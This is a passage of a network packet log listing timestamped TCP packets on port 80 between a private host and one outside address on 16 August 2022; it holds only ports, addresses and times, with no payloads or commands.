Aug 16, 2022 11:50:12.029562950 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029571056 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029588938 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029613018 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029629946 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029638052 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029644966 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029664040 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029690027 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029705048 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029716015 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029716969 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029742956 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029748917 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029769897 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029795885 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029805899 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029819012 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029820919 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029845953 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029870987 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029881001 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029895067 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029900074 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029920101 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029944897 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029956102 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029968977 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.029977083 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.029994011 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030019045 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030028105 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030044079 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030050039 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030070066 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030093908 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030105114 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030118942 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030272961 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030297041 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030323029 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030348063 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030354023 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030360937 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030374050 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030397892 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030399084 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030416965 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030426979 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030435085 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030452013 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030476093 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.030492067 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.030503035 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.032757998 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.034318924 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.146773100 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.146821022 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.146836042 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.147207022 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.159809113 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.250987053 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251029015 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251075983 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251102924 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251117945 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251128912 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251146078 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251156092 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251157045 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251180887 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251180887 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251204014 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251204967 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251226902 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251230955 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251252890 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251252890 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251277924 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251277924 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251302004 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251317024 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251394033 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251410007 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251413107 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251435041 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251457930 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251477957 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251482010 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251504898 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251506090 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251527071 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251549006 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251573086 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251590967 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251617908 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251624107 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251657963 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251681089 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251682997 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251705885 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251707077 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251713991 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251749992 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251796007 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251818895 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251832008 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251842976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251866102 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251890898 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251890898 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251913071 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251914978 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251916885 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251940966 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251960039 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251974106 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.251982927 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.251991987 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.252006054 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.252044916 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.252114058 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.252373934 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.252408028 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.252496004 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.252547026 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.252800941 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.252909899 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.252938032 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.252964020 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.252989054 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.252989054 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253005028 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253015041 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253027916 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253041029 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253041983 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253067017 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253067970 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253093004 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253093004 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253104925 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253119946 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253129005 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253139973 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253145933 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253165960 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253196955 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253290892 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.253319025 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.253333092 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.255319118 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.378644943 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378673077 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378691912 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378710032 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378730059 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378747940 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378746033 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.378767014 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378771067 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.378788948 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378803015 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.378806114 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378813028 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.378823042 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.378830910 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.378849030 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.378865004 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.381006956 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.382756948 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.483982086 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.484009981 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.484081984 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.491076946 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594669104 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594715118 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594739914 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594763041 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594772100 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594785929 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594798088 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594800949 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594804049 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594813108 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594816923 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594837904 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594849110 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594866991 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594876051 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594892979 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594904900 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594918966 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594933033 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594943047 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594948053 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594964027 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.594980001 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.594995022 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.596898079 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.598611116 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.719187021 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.719222069 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.719238997 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.719255924 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.719269991 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.719290972 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.719326973 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.722177982 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.810873985 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.810913086 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.810957909 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.810982943 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.810983896 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811007977 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811011076 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811018944 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811033964 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811037064 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811059952 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811084032 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811094999 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811110020 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811116934 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811134100 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811145067 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811160088 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811183929 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811188936 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811202049 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811208010 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811222076 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811233044 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811256886 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811258078 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811273098 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811275959 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.811327934 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.811332941 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.813396931 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.815118074 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.950618029 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.950655937 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:12.950750113 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:12.957653046 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.034957886 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.035000086 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.035029888 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.035048962 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.035072088 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.035074949 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.038254023 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.186372995 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.186414003 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.186454058 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.186492920 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.208446980 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.250596046 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250623941 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250642061 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250658989 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250678062 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250695944 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250695944 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.250713110 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250724077 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.250731945 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250736952 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.250750065 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250766039 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250770092 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.250785112 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250802994 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250814915 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.250818968 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250835896 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250854015 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250861883 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.250869036 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.250894070 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.250909090 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.253168106 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.260782003 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.436707020 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.436755896 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.436779976 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.436804056 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.436825991 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.436846972 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.436872959 CEST	80	49203	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.436875105 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.436913967 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.436917067 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.440953970 CEST	49203	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474440098 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474536896 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474569082 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474595070 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474620104 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474644899 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474647999 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474672079 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474685907 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474690914 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474693060 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474699020 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474709034 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474724054 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474735975 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474759102 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474761009 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474782944 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474795103 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474814892 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474818945 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474843025 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474848986 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474867105 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474879026 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474900961 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474925995 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474948883 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474950075 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474956036 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474972010 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.474976063 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.474981070 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475002050 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475011110 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475028992 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475033045 CEST	49204	80	192.168.2.22	187.45.240.69
Aug 16, 2022 11:50:13.475055933 CEST	80	49204	187.45.240.69	192.168.2.22
Aug 16, 2022 11:50:13.475064039 CEST	49204	80	192.168.2.22	187.45.240.69
